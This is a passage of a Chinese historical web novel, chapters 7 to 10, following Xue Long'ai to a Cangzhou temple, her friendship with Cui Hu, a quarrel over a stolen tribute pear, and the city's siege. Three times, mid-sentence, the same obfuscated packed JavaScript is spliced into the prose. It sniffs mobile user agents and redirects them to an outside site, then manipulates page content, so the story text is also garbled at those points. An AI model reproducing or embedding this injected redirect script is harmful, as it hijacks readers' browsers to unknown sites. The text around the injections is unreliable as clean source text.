汀葭哭道:“我一醒来就不见她啦!她昨晚送了我一个藤镯,现在想来当时她话中便有辞别之意!” 宇文桓心想她要回汉中,必走水路。当即奔至马厩骑了匹快马,向渡口急驰而去。 径至渡口,见有船家稳缆停桡,一问才知,五鼓便已发船。 此刻,晓日已出洲上,茫茫烟水,天光正漾,已经追之不及,连她离时的路,也看不清。 宇文桓静悄悄立在洲畔,水上飕风泛起,两岸梅花似雪,纷纷乱落在他肩上,忽听左近一道琅琅诵吟声传来: “郑徐吾犯之妹美,公孙楚聘之矣,公孙黑又使强委禽焉。犯惧,告子产。子产曰:“是国无政,非子之患也。唯所欲与。”犯请于二子,请使女择焉……”① 宇文桓怔怔听着。 原来这渡口处设了个学堂,夫子正在讲一桩同室操戈的典故,源于春秋时子皙与子南兄弟争聘,以至于酿成骨肉屠裂之祸。 倏然间,身后马蹄声疾响,接着宇文胤的声音响起,他急问道:“二弟,那姓薛的丫头找着没有?” 宇文桓早已心驰远处,无心去计较宇文胤为何会追来询问薛隆爱的下落,只轻声叹道:“她走了。她根本就不想去金陵。” 7.第七章 却说那日未旦晨醒之际,薛隆爱从驿宫墙上悄悄腾身出去,独自一个,至鹊洲渡口乘船入了汴水,经泗州到了洛阳,已是身在北晋境内。 一路上多见江水浩渺,与远天相逼,云雾苍茫之间正衬出她孑然一身,前路无依。 她想起城破亡国之时得知父亲竟是大梁细作,转眼又亲见父亲惨死,自己虽生亦犹死。 原想寻到大梁报了这国仇家恨,岂料得知那样一番前尘往事,甚是自伤身世,已分不清谁是谁非,又该报谁的仇、还谁的恩。 薛隆爱不愿去金陵,在她心中,永认西蜀是故国,但又有何颜面再回汉中? 父亲和那薛烛以百身莫赎的罪孽,博一个地久天长,到头来,活着分离,死时两处。已够她今生今世引以为戒。 思来想去,天地之大,竟无她容身之处,顿时心里空落落的,只觉腼颜人世,余下的人寿都是了无意味了。 怅然绝望之时,忆起幼年曾随个云游僧习学医业,他乃洛阳人士,法号玄藻,原在洛阳伽蓝寺出家修行,一生最喜云游四方。 她想,四月浴佛节将近,或许玄藻师父回洛阳也不定,不如前去投奔,随他云游行医也罢,落发出家也罢,也算替西蜀如山白骨积下一些善行。 该是天意,到了伽蓝寺,寺院门子却说玄藻大师去沧州天姻寺讲经去了。 薛隆爱便从洛阳转向东北而行,行了一月之上,沿经汲郡、冀州、安德,到沧州正是四月初八,释迦佛诞辰。 这日,薛隆爱进城不多时,远远的便听见钟声杳杳,信马寻声行去。 至南城根边,望见好一座大刹,门前树以绿槐,高耸旁阴,掩映着峻宇雕墙,墙外亘以碧水,澄清如练,游鱼或浮或沉,澈映可见。横梁之上彩绘璧珰,炫光夺目,其间高悬金匾,正是大书“天姻寺”三字。 寺前正在作放生会,往来香客买些鱼蚌放生,好不热闹。 薛隆爱遂下了马,在门首处寻了个小尼姑,向前施礼,问道:“借问贵寺内有位洛阳伽蓝寺来的高僧玄藻大师吗?小女是他老人家的俗家弟子,还望引见。” 小尼姑道:“三日前,玄藻大师讲毕因缘经,和番僧往西域求法去了。” 薛隆爱叹了口气,道:“可知几时回来?” 小尼姑道:“他老人家云游之人,来去不定,归期只有菩萨知道了。” 薛隆爱听得这话,只感满心沮郁。 匆匆两月,她一人趱行,虽宝刀在手,又有暗器功夫傍身,可也毕竟是个小女孩儿,从南到北,打尖住店,必是绷紧了心弦,时时警醒。 只想着见了师父便有所依靠了,强撑着行过这远路,斗然间得知自己扑了个空,悬着的心登时仿佛泄尽了气一般,只是想哭。 终是没奈何,薛隆爱忍了泪,转过念头,对那小尼姑道:“小女从汉中来,本是寻访玄藻大师,不料他已远赴西域。既如此,小女每月拜纳房金,借贵寺一室寄居,旦夕修斋礼佛,以待大师归来,不知可否?” 小尼姑回过了主持此事,主持慧木师太道:“佛家慈悲方便为本,寺中闲房多处,女禅客安心住下便是。” 那小尼姑便将薛隆爱请进寺来,寺内佛殿重叠巍峨,堂廊阶墀富丽雅致,五树六花吹拂不尽,皆穷极人间至美,堪比一幅蓬莱画卷。 行至讲经殿后,见尼房交错,玉窗雕画若绮,粗略一瞧,不下数百间。 小尼姑寻了间洁净禅房,掀起竹帘,请薛隆爱入内安置,献茶奉斋毕了,又相陪寺内随喜游玩,十分周到。 薛隆爱亦尽礼,专登上佛塔,拈香礼拜塔上供奉着的释迦牟尼像,以示诚心。 礼拜既毕。 薛隆爱同那小尼姑也有些累了,随意靠窗眺望,少憩片时。就寺中诸事,正一问一答时,忽见寺中西园处柏屏树阴下,匆匆走进一个青衣垂髫小鬟,背着脸正欲小解。 她却不知身后有个小厮也悄悄捱身跟来了,探头探脑的见无人来往,一把搂抱起来。那小鬟挣扎着,喊天叫地,抵死不从。那小厮恼羞成怒,倒劈面扇了她一耳光,捂住她的嘴不放,便要用强。 薛隆爱在塔上远远瞧见,唬了一跳,跌脚道:“青天白日的,神佛殿前,怎么做这等事!” 身旁的小尼姑也吃这一惊不小,道:“阿弥陀佛!眼下飞星赶去,怕是也来不及。” 不想就在这时,一个身穿破布衣衫的少年从参天柏树上,闪身跳下来。他鼓着肚子,赤着一双大脚,不知在哪个灶里扑腾过的,满面污灰,整个人胡乱肮脏的。 只见那少年双手一叉,兜的一脚,将那恶小厮腾地踢到了花林曲池里,惊得池中水鸟随水溅散开来。 他将小厮提出水面,拳头朝面上一晃,道:“清平世界,做强逼行奸之事,如来佛派你太岁爷爷来教训你了!老子不把你打出个人样,不好复命!” 那恶小厮魂早没了,正待求饶,忽然咕咚一声,那少年肚子里掉下一个圆瓶大的果梨,落地便碎,散出阵阵果香。 少年顿时懊恼不迭,那恶小厮已变了脸,似上阵杀敌一般嚷刮起来:“强盗偷到佛爷家里来啦!打劫贡果,奸骗官婢,现在要杀好人灭口了!” 少年大怒,把那恶小厮横拖倒拽,正要打个痛快,已有几个尼官儿听见说杀人,急慌走将拢来,其中有人认得那小厮,将脏少年拉开押住,随即不知往哪儿报禀去了。 不多时,几个奴仆侍僮簇拥着一个人物轩昂的少年郎君,至山池边急步行来。 那恶小厮一见少年郎君,便扑身跪下,拉住少年郎君的袍襟,哭喊道:“少爷救命!我见这贼盗偷果,好心进园子来劝阻,谁知帛女来小解,贼盗见了她拉着便要行事,我拦不住,他便要把我按在池子里淹死。” 少年郎君扫了一眼脏少年,又瞥了一眼青衫小鬟,见她坐在地上,衣鬟散乱,神色惊惶,啜泣不止,皱眉问道:“你说,怎么回事?” 那青衫小鬟哽哽咽咽,哑了似的,半个字也说不出。 恶小厮见状,又道:“少爷,我同这贼盗说了,我是长史府家生奴才,教他不要太过了,不看僧面看佛面,他却说‘长史府怎的,专一拉长截屎的地方吗?我偏要来臭臭你们!’” 几句话激怒了少年郎君,他喝道:“给我加力打这臭叫花子,不见血不许停。” 几个奴仆得了令,不容分说,手脚齐发打起来,那少年眼里叠暴着冲天怒火,一头挣侧,一头骂道:“什么狗屁长史府,唱喏请老子拉屎都不配!等你们丧门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725642|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 败户的时候,便晓得老子是谁!” 少年郎君越听越怒,喝令再打重些。 “休打错了好人!”原来是薛隆爱脚不停的已赶了来,这天姻寺地广路曲,在塔上瞧着还不算远,走来确是总差些儿。 她平喘了气,指着那恶小厮道:“这小厮把话倒转了说!我和小尼师父在前边宝塔上瞧的分明,这小厮偷跟着这青衫丫头进了园子,要行不轨之事。这丫头不从,他又打又捂,不是这好心少年仗义出手,便要出一场丑祸了。浴佛节寺里人满为患,传出去毁谁家的门风,尊官人可要弄清楚始末。” 这时那小尼姑气喘喘的也追了上来。 她见了那少年郎君,便咕哝了嘴,低声向薛隆爱道:“薛施主,小尼还未向你引见,这位郎君乃是我沧州长史裴大人的公子。咱们这天姻寺多亏了裴公子的老尊堂舍银,方能香火不绝,是我寺最当紧的施主檀越。” 薛隆爱急道:“这个不忙。小师父,你快和他们说,我说的是不是一字不假?” 少年郎君哼了一声,向那小尼姑道:“你说,怎么回事?” 小尼姑嗫嚅道:“塔上离得有些远,瞧不太清。总归未出事,裴公子不如宽恕些,也是替老尊堂积福之处了。” 薛隆爱气急,道:“你!你这……” 那恶小厮见小尼姑不敢言明,又起足了势,朝薛隆爱嚷将起来:“就是,就是!塔上离这园子十万八千里,你这小女郎的眼睛又不是琉璃葫芦儿,怎知自己没看错?这贼盗怀里掉出来的梨,总是铁证如山吧。这梨叫含消梨,乃是贡赋之物,贵重无比,怎么跑到他怀里去了?” 薛隆爱冷笑道:“哼,你犯夜的倒拿住了巡更的,可要当心阴司报应不爽。” 少年郎君听得焦躁,已打了那脏少年一顿,气也出了,他心下早懒理这档子事,便道:“把这贼泼才押了,送官候审去。” 几个奴仆便押着那少年,叫他跪下给裴公子磕头谢恩。那少年死命不依,他已被打得脸青嘴肿,一件破衣衫也已血糊淋拉的,如开染坊一般,仍是强昂着头。 薛隆爱正要去拦,忽听得一道似珠玉落盘的娇糯女声脆生生传来:“玉郎,你又在欺负人了。” 众人转过头,大惊皆叹。 只见园子东门梧桐树下,一个少女骑在一只赤豹上,双手抱着花狸,浸在碧天清远之中,遥遥穿花度柳而来,恍若神女。 那少女不过十三四岁的年纪,却真是好一个瑰姿艳逸的容貌。 面若娇花拂水,肤如玉胚碾成,却不见分毫媚波流转的风情。两道却月眉,似春山长画,偏像是用利剑染了青黛刻上去的,望之目烈有威,细瞧之下竟渗着一寥稍孤愁。 虽不大合谐,却有异于寻常美色。且不论这满园春光灼灼,便是世间美人齐来与她相竞,恐也终是输她一筹。 她身上穿戴极华贵,头戴一顶炸珠彩冠,垂饰花鸟步摇,火彩辉煌。一袭蹙金红绡,薄雾似的轻笼衣裙之上,柳下风一来,步摇钗梁动,红轮帔角斜。① 衣饰虽不凡,与这少女的袅娜花貌一衬,实是见拙了。唯她腰间垂着的玉貔貅莹晶透灿,红似凤血,极艳中透着一股出尘拔俗的气韵,一看便知是世间无二的珍宝,这倒与她极相配。 8.第八章 裴玉郎一见这少女,当下眉开眼笑,诸事都丢到爪哇国里去了。 只见他抢身迎上去,如遇了真凤凰一般的欢喜,喊道:“红貅奴!你来啦。” “我来了。”红绡少女斜眼瞥了裴玉郎一眼,说道:“一听见这阵鬼吵,再不会是别人,我猜准是你又在欺负人。” 裴玉郎笑道:“谁欺负人啦,我正要去寻你,要说件古怪奇事给你知道,被这几个呆奴才打了岔。” 红绡少女皱皱秀眉,问道:“又有什么事了?” 裴玉郎指了指坐在地上的青衫小鬟,道:“你猜她是什么来路?猜着了,我就奉你是神猜菩萨,嘿!我猜你绝计猜不着。” 红绡少女小嘴一扁,道:“我不猜,你赶紧说。” 裴玉郎笑了一笑,乐得从命,道:“我母亲先年有个奶母,男子汉姓郭,寡妇守着个独女儿,小名叫金枝儿,同我母亲一齐伴着长大的,比亲姐妹还亲。 “随我母亲到了咱们裴家,我母亲见她生得花枝儿一样,又有打小的情分,更觉得小厮配不上她,做妾也委屈她,宁愿多贴些房奁,要寻个人物齐整的破落户与她婚配。 “你道巧不巧,正好就有这么个姓杨的游侠,又俊,又善弓马,我爹便请了他来点拨家兵武艺,住在家里。 “这般天生天化的一对人儿,竟互瞧不上。姓杨的嫌金枝儿恃宠作娇,金枝儿嫌他旧家子弟架子大,一个不肯递降表,一个也不愿逊让,起先儿只是对骂,渐渐两人竟还对打,婚期总也定不下。 “我母亲可惜他俩一桩好姻缘,本有心要劝,那金枝儿却放了话,说他杨家就是门户大开,便把竹枝插在门上,盐水洒在地上,她的喜轿也是学大禹治水,过门不入。 “姓杨的听了气出一场病,吃着药就要争个先,和一个姓佘的媳妇子通了婚书。金枝儿不甘落后,应了仓房里梁鳏夫的聘,六礼也不要他的,只要即刻完婚。就这样,金枝儿嫁了梁鳏夫,姓杨的娶了佘氏。 “这么过了十来年,佘氏不见有喜脉,金枝儿也没生下一儿半女,就顾管着梁鳏夫先头浑家留下的女孩儿,叫帛女。” 裴玉郎又指了指那青衫小鬟,道:“就是她了。” 红绡少女白了一眼裴玉郎,道:“这算哪门子奇事?” 裴玉郎跺了跺脚,急道:“我还没说完呢!谁知过到今年,开春化了冻,农事将动,金枝儿跟着梁鳏夫送草料上庄,姓杨的闲了,不知怎么想起,去和庄客切磋武艺,佘氏说给她男人送衣服,后脚也跟了去。两个女人在厨屋里碰着了,争舀一瓢水,扯着头发打了起来。 “你猜怎么着,那姓杨的竟然不帮他娘子,护着金枝儿把佘氏推了一跤,梁鳏夫见状,抽了刀就去砍姓杨的,金枝竟然扑上去替姓杨的挡了刀,姓杨的见金枝死了,也自刎而死。那梁鳏夫依律加罪凌迟,佘氏也犯了失心疯,熬不上半个月也死了,就剩了这个孤丫头。” 听到此处,众人都吃了一惊。 裴玉郎清了清嗓,脸上堆满了笑,邀功一般道:“红貅奴,你说这四个人古不古怪?是不是奇事?比说书人讲的都要有趣吧。” 红绡少女却不同他一起笑,面上板板策策的,道:“这样惨事,你还笑。既是你母亲的义姐妹,你也要叫一声姨,怎么这般缺心少肺的?” 裴玉郎笑容立敛,屈心喊道:“好啊!我母亲急巴巴把我从安州任上叫回来,就是叫我来寺里替金枝儿唱过桥偈,让她亡魂早去投胎。我一个主子,担了她一个仆妇孝子的名头,你不夸我仁义,还说我没心肝。” 红绡少女细瞅了几眼青衫小鬟,见一个丢丢秀秀的小美人儿,哭得泪人一样。 便道:“好罢!那这小丫头又怎的衣衫不整,还哭成这样?” 裴玉郎道:“小厮说抓贼,这女郎又说是小厮强丫头,丫头又不吭声,只是哭。谁知道他们丫头小厮的真病是什么,真是乱成一糟。只是这贼可恶,偷梨不算,还指着我长史府骂骂咧咧!我气不过,才轻轻打他几下,正要送他去见官,你就来了。” 红绡少女听了,手指刮了刮桃腮,朝众人东瞧瞧,西望望,有些苦恼一般。 忽一下瞥见薛隆爱,登时放跑了花狸,欢欢喜喜的跳下豹身,裙间环佩叮当,已翩然而至薛隆爱身前,道:“哇!这个妹妹好美,是谁家的宅眷呀?” 薛隆爱见她一派未经爱恨天真烂漫之态,心里又喜欢,又唏嘘,微笑道:“在妹妹面前,谁敢说个美字呢?” 小尼姑忙对红绡少女笑道:“七姑娘,这是从汉中来的女禅客,姓薛,名唤隆爱。” 又对薛隆爱道:“薛施主,这是博陵崔氏太守府的七姑娘,慈泪尼娘娘养的佛女儿,宝惜异常,尊闺名一个‘嫮’字,乳名取做红貅奴。从前在安州凹凸寺修行,师从云顶山大家,学得‘张家样’。她一手天竺遗法,点曳斫拂间,便将佛像的神妙示现人间。主持师太特请她来为我寺画壁,待七姑娘画成,咱们可有眼福了。” 裴玉郎也走近来,笑嘻嘻道:“不是我费心游说,她才不来呢。” 崔嫮就看着裴玉郎说道:“只道佛像要贴金,没的你这厚脸皮也要贴金,我若不是想让师父散散心儿,谁愿意揽活做了?关你什么事。” 裴玉郎只管笑,似是崔嫮越拿话扎刺他,他倒更欢喜一般,一句都不还嘴。 薛隆爱心里致疑道:“尼娘娘是个什么称呼?既是尼姑,又怎么是娘娘?这般尊贵出身的一个小女郎,怎么不随着父母在家庙修行?倒跟着一个尼娘娘,从一个寺庙换到另一个寺庙,真是奇怪。” 一面好言好语道:“崔妹妹既和裴公子是旧识,烦你说个情,将这少年放了吧,也替这小丫鬟寻个好去处,别叫她再遭人欺负,一个孤女,实在可怜。” 崔嫮听了点点头,对裴玉郎嫣然一笑,道:“叫这丫头服侍我去吧,我家瑰意儿小的很,一团小孩子气,指望不上她做活,我正和师父说要买个丫头使唤呢。我见她生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742957|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得好,挺喜欢的。玉郎,你依不依我?” 裴玉郎憨笑道:“依,依你。” 崔嫮把那青衫小鬟扶起来,见她雪白的一张瓜子脸低垂着,满是泪痕,双目轻蓄着水秀,确有几分动人的姿貌。 道:“你今儿就服侍我去吧,我家的规矩,晚些叫奶娘教给你。帛女这名字不好听,以后你就叫芸辉了。” 青衫小鬟答应了一声,行礼道:“是,多谢七姑娘。” 崔嫮指了指那满身是血的脏少年,偏过身子,低声对裴玉郎道:“玉郎,把他也放了吧。” 裴玉郎摇头道:“别的都依你,这个贼泼才可恶的很,不能放。他不仅偷贡梨,还骂我家!” 崔嫮轻声劝道:“便是贡给玉皇大帝的,也不必这般计较,又不会有人来数一共结了几个梨。乡下人没见过世面,想偷个新鲜尝尝,也很寻常啊。急了说几句胡话,也是造他自个儿的口业,何必把人打成这样血淋淋的?今儿洗佛,人人都赶着放生积德,你倒在佛寺里见血光,是嫌这辈子福禄太多了吗?放了他吧。” 裴玉郎仍不肯,指着那脏少年,直骂嚷道:“你看这臭叫花子一对贼眼,从你来,就钉在你身上一般,贼溜溜看个没完!你再看一眼,我把你眼珠子挖了,剩两个血窟窿,看你还敢不敢看!” 崔嫮登时粉脸通红,双眉一皱,低了低头,道:“说什么呢!我今儿一早才到,还没去拜见你母亲,你赶紧放人,咱们瞧你母亲去,她义姐妹去了,一定正伤心。” 裴玉郎想了想,见崔嫮难得这么轻声软语同自己说话,便道:“好罢!这次饶了他,下次他再犯,我定挖了他眼珠子。” 崔嫮冲裴玉郎笑了笑,转身对薛隆爱道:“薛妹妹,我好喜欢你呢。我和师父住在上方佛殿东侧的碧梧轩,你闲了可要来同我顽呀。” 薛隆爱微微笑道:“自然好,我也很喜欢崔妹妹。” 崔嫮又道:“薛妹妹,这天姻寺里的含消梨味甜气香,你想不想尝尝?你远道而来,今儿我做东,尽地主之谊,你可不许见外。” 说着转身吩咐小尼姑道:“小尼师父,你摘些新鲜的果梨送与薛妹妹,我回头和慧木师太说。” 小尼姑忙答应了,道:“小尼知道了。” 说毕,崔嫮便同裴玉郎携了赤豹,领着众人而去,并未向那脏少年多看一眼。 薛隆爱得了含消梨,递给那脏少年,道:“崔姑娘心肠真好。你为人也很有侠气,你尽拿了去吧,以后可不要再偷东西了。” 那脏少年慢慢回过神,呆了半晌,叹了口气伸手接了。 他胳膊血淋淋的,痛得他龇牙咧嘴,缩嗒着腿,一瘸一拐的,边走边道:“谁想做贼了!老娘病得快死了,缺这梨入药,别说没钱买,便是有钱,贡梨也不卖乡下人,不偷只能戴孝!” 薛隆爱听了一怔。 看着那脏少年离去,心里想道:“有时一个人做了不好的事,也是被世道艰难所逼。” 9.第九章 薛隆爱寓居天姻寺中,一日三斋,倒也虚过。常随寺中僧尼念诵些祈求平安的经卷,心里仍是牵肠挂肚。 也曾前去拜访过碧梧轩,寄望请崔嫮打听蜀中战况,终究水远山遥,难得音信。 一遭生,两遭熟,薛隆爱与崔嫮倒渐渐愈加亲厚。两人一对生辰,竟还是同年同月同日所生,只是她俩人皆不知自个儿的降生时辰,难分大小。 光阴撚指,不觉又是半月流光。 一日芳天晴晓,薛隆爱起了个绝早,在佛殿上诵毕朝课。靠在香案前支颐凝想,背后一阵酒香漾来,一双芊芊玉手蒙住了她双眼。 像崔嫮的声音:“猜猜我是谁?” 薛隆爱回头一看,一袭曳地织金石榴裙下,烟笼着一朵宝光芙蓉,不是崔嫮还是谁?只见她身上挎着个酒囊,身后跟着两个穿红着绿的绣衣丫鬟,正是瑰意儿和芸辉。 薛隆爱微微一笑,道:“你这个疯妮子,唬我一跳!大清早的,你就喝起酒来?” 崔嫮咯咯一笑,将一块喷鼻香的肉脯塞到薛隆爱嘴里,道:“刚酿成的珍珠酒和兔儿脯,香着呢。” 薛隆爱嘴里含着肉脯,嚼也不好,不嚼也不好,含含糊糊道:“你真吃醉了?在佛前大喇喇吃起肉来。” 崔嫮扮了个顽皮鬼脸,取笑道:“是我服了你。一日三顿肉腥不沾,日日佛前准时应卯,求来八雀九华十二钿,我怕你熬的这身子骨都戴不住。” 薛隆爱白她一眼,道:“谁说我求十二钿来了。” 崔嫮一面说,一面挽了薛隆爱的手,道:“你不求,这么诚心做什么?咱们豆蔻年华的,信起哪门子佛来。快起身,跟我去门首看卖珠花的。” 薛隆爱摇头道:“我不去罢,心里不大好,你和丫头去便是了。” 崔嫮道:“心里不好更要去了。听我的昆仑奴说,昨儿在门首,好几个提花箱儿、摇惊闺叶的婆子走来走去。说是珠花步摇有、宝钿博鬓也有,水晶钗也有,我正嫌步摇上的金花儿摇颤声不够清脆。陪我瞧瞧去嘛,要有你中意的,你心里不就开心了?” 薛隆爱吃她缠不过,两人挽着手一路说说笑笑,往寺门前走去。 天姻寺正对着沧州城内南门里街的北面,往西便是新门大街,两侧民户商铺熙攘。寺门前因碍着佛祖菩萨,四梢避静,零星两三个卦摊,却还没有倒霉鬼去问吉凶。 薛隆爱和崔嫮领着两个丫鬟,站在台矶之上倚门而望,不时说些闺阁闲事玩笑。 不多时,果然一个白净富态的婆子提着花箱,打街上走来。 还不待开口,那婆子倒先煞住了脚,眼上眼下看着崔嫮和薛隆爱,连连叹道:“好相!好相!” 两个丫鬟面面相觑,甚是疑惑不解。 薛隆爱不理会,崔嫮却问道:“花箱婆,你道什么好相?” 婆子走近前来,道:“老婆子看相到老,从未见过两位女菩萨这般好相,忍不住赞叹起来,莫见怪。” 崔嫮奇道:“你不是卖花珠儿的么?还会看相?” 婆子笑道:“女菩萨不知,老婆子书符咒水也会,看相打卦也会,提着花箱走街,只是胡乱度日罢了。” 崔嫮横婆子一眼,道:“算命打卦,皆是瞎话。这里没人看相,你把花箱打开,我们挑几件可心的珠翠才是真。” 婆子对崔嫮道:“天么,天么!老婆子又不是自己诌的,照相书鉴的。当言不言谓之懦,女菩萨尊相面若朝霞,声似凤鸣,官禄宫莹净无痕,必生于帝王家,又嫁与帝王家。老婆子看相到老,从未见过此般奇贵之相。可惜悬针破印,六亲若冰。比肩不和,要吃亲近之人的亏,多以怨报德。再则双目如炬,神急眼圆,一世人可爱不可亵,可敬不可欺,刚而自矜,有些过甚,伤正缘。” 崔嫮冷哼了一声,道:“还说不是胡诌!一句话就觑出你这婆子的破绽来了,我博陵崔氏开基百年,累世德望不断,封侯拜相者尽有,就是没有出过一个穿龙袍的。” 又问道:“什么是正缘?” 婆子笑嘻嘻道:“红鸾星一动,佳婿天来送,还有什么是正缘?” 薛隆爱同两个丫鬟听了忍不住,嗤的一笑。崔嫮脸一红,呸了一呸,嗔怒道:“好个贫嘴烂舌的婆子!你就瞧不见这是哪里?我这辈子发了愿礼佛,一辈子不嫁的。” 婆子道:“是了,你在此地安心礼佛,及笄前不还乡,正是好结果。” 崔嫮咬牙道:“瞧这疯婆子,往佛寺里做媒来了。你这么说,我偏回去!” 婆子道:“去也没奈何!这是你五百年撞着的夙世冤家,任你踩着风火轮飞到蓬莱西天,他后脚驾着腾云也定要追上。纵是你嫁上一千八百回,一千八百零一回还是遇着他。” 崔嫮不忿婆子调谑,道:“呸!你才嫁一千八百回,你嫁一万八千回!” 婆子道:“老婆子这世无夫命,没得嫁,也不守。专一做裙裤里的菩萨,广纳贤才,普度众生。从轮班当值的头上一一数算,也差不着一万八千几个嘞!” 崔嫮可听不懂,被婆子噎住了嗓,实想不出话来应对,只好转过身不理会。 那婆子仍不走,对薛隆爱道:“这位女菩萨,尊相月孛星山脉略断,早年平平。上年计都星照命,死里逃生。不及前位女菩萨生来显贵。但神骨秀异,静如栖凤,鱼尾奸门明润,该有极贵的夫婿,天生一个降丈夫的主儿。可惜夫妻宫里坐桃花入凶星,有血光之灾,伤不着你的身,却伤折心。喜幸命宫红薄,后福无量,晚年只怕还有贵子的福禄。” 薛隆爱淡淡一笑,接口道:“是福是灾,我且随天意。不过,我倒想请你替我一位关山相隔的至亲,问一卦平安。” 那婆子放下花箱,铺下卦帖,摆下灵龟,口里念着:“虔叩六丁神,文王卦有灵。吉凶含万象,切莫顺人情。”① 便道:“不怕的,有八十岁可活嘞!也算不上福,天伤星入命,一世人伤人伤己。” 薛隆爱呆在原地,满腹心事一般,付了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770043|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢仪,却不言语。 忽地,从寺门里走出一个黑黢黢的昆仑奴,对崔嫮道:“尼娘娘唤姑娘回去。” 崔嫮一见昆仑奴,喜叫道:“阿卍,这个老婆子欺负我,你给我狠狠打她一下!” 阿卍一听就急了,便要提了拳头赶着打人,那婆子早收拾了卦贴、提着花箱,撅着屁股一溜烟跑了。 崔嫮跺脚不迭。 这时寺门前卦摊上坐着的相士,捋着胡须,笑着摇头道:“方才这婆子也并不是胡说,只是废话太多。两位尊相,一清一艳,命格相侔,八个字便可评释,即‘命犯桃花,母仪天下’。极清者心软量宽,极艳者面硬犟直,一个有运无命,一个有命无运,终不堪大任。不及贫士于齐室乡野中所遇一村女,好一个枭雄品貌,有勇有谋,不为情所困,方为天地母,生天地主。” 薛隆爱见崔嫮憋了一肚子气,笑道:“婆子想讨个彩罢了,几句瞎话而已,何必气呢?” 其实崔嫮从不信鬼神菩萨,不过是被宠坏了的性子,也就是一时忿不过,想了想也就丢开了,道:“你说的是。咱们寻别的玩去。” 两人和丫鬟正想着,崔嫮不知一眼瞥见了谁,忽而霁然色喜,朝着前方笑道:“咦!大黑獭,你的伤全好啦!” 薛隆爱转过头,原来是前些日子在果园里见义勇为的少年。今儿他收拾的甚是干净精神,换了一身半旧布衫,穿了双草镶鞋,提着一碟酱瓜走来。 少年傲气不减,匆匆掠了一眼崔嫮,红了脸道:“你干什么叫我大黑獭?我有名有姓,叫云寿岂。” 崔嫮倒不计较,笑道:“这个名字很好听啊,你爹娘竟读过诗经呀?是愿你长寿又快乐的意思。” “我只有娘,没爹。”云寿岂冷眼答话。 却对薛隆爱换下一脸冷然,将酱瓜递上,道:“亏了姑娘赠梨之恩,我娘病已见好了,今日小子特地来谢姑娘。” 薛隆爱却不肯接,只觉好笑,指了指崔嫮,奇道:“怎么是我赠你的?那日你又不是没听见,明明是崔姑娘赠你的。” 崔嫮小嘴一撇,怒道:“谁稀罕要他谢了,狗脏样臭的,我可眦不了这嘴去吃!” 云寿岂睁了一双眼怒视崔嫮,道:“谁来谢你了!”说完,提了酱瓜转身大踏步就走。 蓦地,城外号炮大震,响彻城中,惊得四下民众人声喧哗起来。 崔嫮和薛隆爱也吓得挨紧了身子,心头突突的跳,两个丫鬟更是唬得面无人色。 正在此时,只见裴玉郎面色焦急,领着几个侍从提缰纵马忙忙而来,见了崔嫮,又喜又急道:“红貅奴,你快进去!这几日待在寺里,千万别外出。” 崔嫮一听,连忙问道:“玉郎,出什么事了?” 裴玉郎叹道:“咱们和大梁的联军入蜀,叫齐军吃了一个大败仗,逼得他们粮尽退兵。谁知他们北归不忿,途中调转兵马突袭咱们沧州城。” 众人大惊失色,崔嫮颤声问道:“啊!那怎么办?” 10.第十章 裴玉郎抚慰道:“红貅奴不怕。沧州城乃我北晋四方交汇之地,若失与齐贼,京畿便险矣,镇帅定会拼死守城。现下城内兵马虽不足,但咱们沧州人自来尚武,我爹已在速召壮士组建义勇队助力守城,只待王师返还,齐贼自然灰溜溜滚回老窝了。 “只是大敌当前,门户不稳,我怕你贪玩在外,恐遇到什么险事也不定,才特来叮嘱你。” 崔嫮甚是感激,道:“玉郎,多谢你记挂,真不亏咱们一起长大的情分,够义气!” 裴玉郎冲她傻笑了笑,叮嘱道:“你快回去吧!” 崔嫮应了,忙和薛隆爱带着丫鬟、昆仑奴退入寺内,唤门子将寺门关了。裴玉郎方驰马离去。 往后几日,城外两军对垒,战至日暮,狼烟连天,兵戟交锋声中充斥着如雀喧鸠聚般的乞命声。 可幸沧州军民一心,日夕严防,齐军攻打不下,亦不甘罢休,便欲行狡诈。 沧州地貌因多条河流在此交汇,也被称为“九河下梢”。每至夜间歇兵之时,齐军便整兵在沧州城外开掘壕堑,要引江河水淹城。再派兵马四面围城拦截粮草,不出半月,援军未到,城中军民不被淹死,也被饿死,就可不战而破了。 谁料祸不单行,天上又涌起乌云,须臾间,雷雨连宵不止,溪壑倒奔,遍地汪洋,害得街外屋内统是水泄不出,人人惶急。 沧州军亦无从立足,不堪狼狈,纷纷退至高处避水,难以应战,只能愁看垣墙一一摧陷。 崔嫮见城中百姓饥不得食,心中不忍,百般游说主持慧木师太,将寺仓里积下的粮食分发众人。 